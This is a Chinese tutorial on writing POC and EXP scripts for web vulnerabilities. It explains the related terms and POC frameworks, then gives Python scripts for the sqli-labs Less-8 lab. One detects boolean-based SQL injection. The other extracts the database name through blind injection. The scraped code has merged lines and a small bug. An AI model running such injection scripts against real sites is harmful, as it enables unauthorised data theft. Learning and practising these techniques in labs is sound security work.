文章目录

  • 前言
  • 一、漏洞验证方式
  • 二、POC是什么?
  • 三、POC框架
  • 四、简单的POC/EXP编写
    • 1、POC编写流程
    • 2、以sqli-labs第8关为例-POC
    • 3、以sqli-labs第8关为例-EXP

前言

初学安全时,很多概念理解不透彻,被POC/EXP的概念困扰了许久。最近看到许多招聘上都需要熟练编写POC/编写特殊场景的工具脚本等要求,下决心要理解并学会如何写POC。(这里是Web应用类漏洞的POC)
看了点教程和了几篇文章,总结一下。


一、漏洞验证方式

要判断一个漏洞是否存在,必须要有一些信息凭据。我们可以通过在目标系统执行一段代码(payload),根据目标系统的响应情况来作出判断。

  1. 执行payload,有回显。→ 发送数据包,看返回特征
  2. 执行payload,无回显
    • 对接dns.log,ping dns.log 进行判断
    • 反弹shell

二、POC是什么?

POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。

EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。

Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名

上面的引用源于CSDN的一篇文章,这种解释百度以下几乎都是一样,现在看来感觉“就是这样啊”,初学的时候由于知识面不够广,越想越多,很容易钻牛角尖。
假如现在有一个GET型SQL注入漏洞,你的第一反应就是在URL的参数加个单引号,并不断的尝试,判断是何种注入类型,然后按部就班地进行暴库、爆表等一些列操作。或者通过BurpSuite抓包改包,利用Intruder模块进行自动化爆破等。
POC就是根据漏洞原理,将人工渗透测试的过程通过编程语言封装成一个工具代码,从而自动化检测漏洞。举个例子,你正在打sqli-labs的第8关,可能就是在浏览器里利用hackbar不断的修改参数,或者使用burpsuite抓包改包。现在我们要通过编写程序,来实现手工的一系列过程。验证这个漏洞确实存在,这个程序或者这段代码就叫POC,如果这段代码利用了这个漏洞进行了一些操作(通常是有害的),那么就叫EXP
比较典型的是RCE(远程命令/代码执行)漏洞,通常POC都是会执行一个计算器程序命令,以证明漏洞存在;如果是EXP,那么可能就是会执行一些敏感动作,以获得更多信息等

三、POC框架

PoC 框架就是一个批量管理,调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:
入口规范
考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。
API规范
API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。

链接:https://www.jianshu.com/p/5decaf1cde6b
这里有一篇文章写的挺不错,可以帮助理解:自己写一个POC框架
自己写一个poc框架(真):https://blog.csdn.net/weixin_45626840/article/details/129014089

比较常用的POC框架

  • pocsuite3
  • xray
  • goby
    现在这些工具往往都是一个综合漏洞验证/扫描工具,POC只是一个模块

四、简单的POC/EXP编写

可以看一下者篇文章:https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw

1、POC编写流程

2、以sqli-labs第8关为例-POC

既然要通过代码来实现人工过程,实验漏洞测试的自动化,那么就要编程构造数据包,写payload,验证返回内容。就是我们修改参数、点击发送并通过回显的情形来作出判断的过程。
通过python实现的HTTP协议模块requests,可以很方便的构造HTTP数据包

import requests# 这个并不是通用型的poc,所以我们可以写成一个很辣鸡的形式
import requests
url = "http://192.168.10.136/sqli-labs/Less-8/"
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"resp1 = requests.get(url=url+payload1)
if resp1.status == '200':resp2 = requests.get(url=url+payload2)if resp2.status != '200':print("[*] {}vuln found".format(url))

3、以sqli-labs第8关为例-EXP

通过代码,将人工爆库爆表的过程自动化

import requests
import stringurl = "http://192.168.10.136/sqli-labs/Less-8/"
#获取正常访问时返回的页面长度
normalHtmlLen = len(requests.get(url=url+"?id=1").text)   #
print("页面长度为:"+ str(normalHtmlLen))#数据库名长度
dbNameLen = 0
#通过这个循环爆库名长度
while True:dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+"print(dbNameLen_url)if len(requests.get(dbNameLen_url).text) == normalHtmlLen:print(dbNameLen)breakif dbNameLen == 30:print("Error!")breakdbNameLen +=1
#数据库名
dbName = ""
#通过这个循环爆库名
for i in range(1,9):for a in string.ascii_lowercase:dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"print(dbName_url)if len(requests.get(dbName_url).text) == normalHtmlLen:dbName += aprint(dbName)break

如何编写POC/EXP相关推荐

  1. python编写poc_分享使用python编写poc,exp的实例教程

    在很久很久以,我有一个梦想 但是,后来我发现我的梦想渐渐没有了 于是,昨天我思考了一晚上 觉得我应该有个梦想的! 好了,回到正题.正所谓明人不装暗逼,今天我家开通了公网ip我开森啊,很开森的那种! 额 ...

  2. Pocsuite3渗透测试框架编写POC和EXP脚本

    在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了.POC全称是Proof of Concept,中 ...

  3. python编写poc_干货分享丨Python从入门到编写POC之读写文件

    自发布了 今天与大家分享的是Python从入门到编写POC系列文章之读写文件,希望对大家学习有所帮助. 读写文件 读取键盘输入[raw_input( )或者input( )] >>> ...

  4. Poc/Exp漏洞验证利用脚本编写

    一.安全名词 1. POC POC,Proof ofConcept,中⽂意思是"观点证明".这个短语会在漏洞报告中使⽤,漏洞报告中的POC则是⼀段说明或者⼀个攻击的样例,使得读者能 ...

  5. discuz7.2漏洞复现--python编写poc

    环境搭建 准备一台win7装上的phpstudy 将discuz7.2源码放进去 安装discuz之前,需要先安装center 文件夹搭建存放的位置是: 解压完成之后更改名称 再然后需要把ucente ...

  6. CVE-2020-0796复现(poc+exp)

    文章目录 一.介绍 二.影响版本 三.测试环境 四.漏洞检测 1.脚本 2.验证 五.漏洞攻击 1.蓝屏攻击 (1)脚本 (2)验证 2.本地提权 (1)脚本 (2)验证 3.远程攻击 (1)脚本 ( ...

  7. python指数运算函数_分享Python中用于计算指数的exp()方法实例教程

    exp()方法返回指数x: ex. 语法 以下是exp()方法的语法:import math math.exp( x ) 注意:此函数是无法直接访问的,所以我们需要导入math模块,然后需要用math ...

  8. Myeclipse上传至码云

    转 码云入门教程 2018年07月23日 16:01:35 TEDU_橙子 阅读数:1080 第一步.先要在码云上面创建一个空的项目:然后填个项目名称就行了,项目介绍可填可不填. 查看全文 http: ...

  9. 【关注观星公众号】渗透系列之POC编写之刷分大法

    一.前言:POC&EXP 什么是POC:即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数 ...

最新文章

  1. 范式青春er,寻找同行的你!
  2. 苹果将于 2025 年推出的 Apple Car 长什么样?
  3. 《深入浅出DPDK》读书笔记(十二):DPDK虚拟化技术篇(半虚拟化Virtio)
  4. pandas.Series.asfreq
  5. 电子商务ICP经营许可证申请条件
  6. 区块链3.0时代:你现在所有的认知将会被颠覆
  7. 怎样正确的使用Cookie的Path详细解析
  8. 13.solr学习速成之IK分词器
  9. CAD增强属性编辑器的使用
  10. 【SPSS】SPSS之相关系数矩阵(Pearson)
  11. html css 命名规范,css模块命名规范(推荐)
  12. 用canvas写个接水管小游戏
  13. 设置python程序开机自启动
  14. 计算机快捷方式后缀名,电脑快捷键-文件扩展名详解.doc
  15. vnpy2.0 探索(一)
  16. HP-UX操作系统安装配置手册
  17. 华为2017年实习招聘上机题
  18. TreeSize Free
  19. C语言,好爽(第一二三季)
  20. 米公益完结项目结项反馈——环保梦想,你我一同点亮

热门文章

  1. Unity UI系统-UGUI简介
  2. hdu-2018-母牛的故事
  3. MassGrid(MGD)双周报第29期(4.13-4.26)
  4. linux下安装jdk(rmp方式)
  5. 从《Doom》到《Dunia》 回顾3D游戏引擎发展历程二
  6. ELK简介及使用(二)
  7. 视频图像数据处理五:对yuv420视频图像加边框
  8. SSN 社会安全号码
  9. j-link初次烧录J-Link V6.12a InfoeThe firmware of the connected J-Link (S/N: 20090928) does not suppo
  10. 腾讯开源框架Tars学习 (1、搭建平台,输出hello world)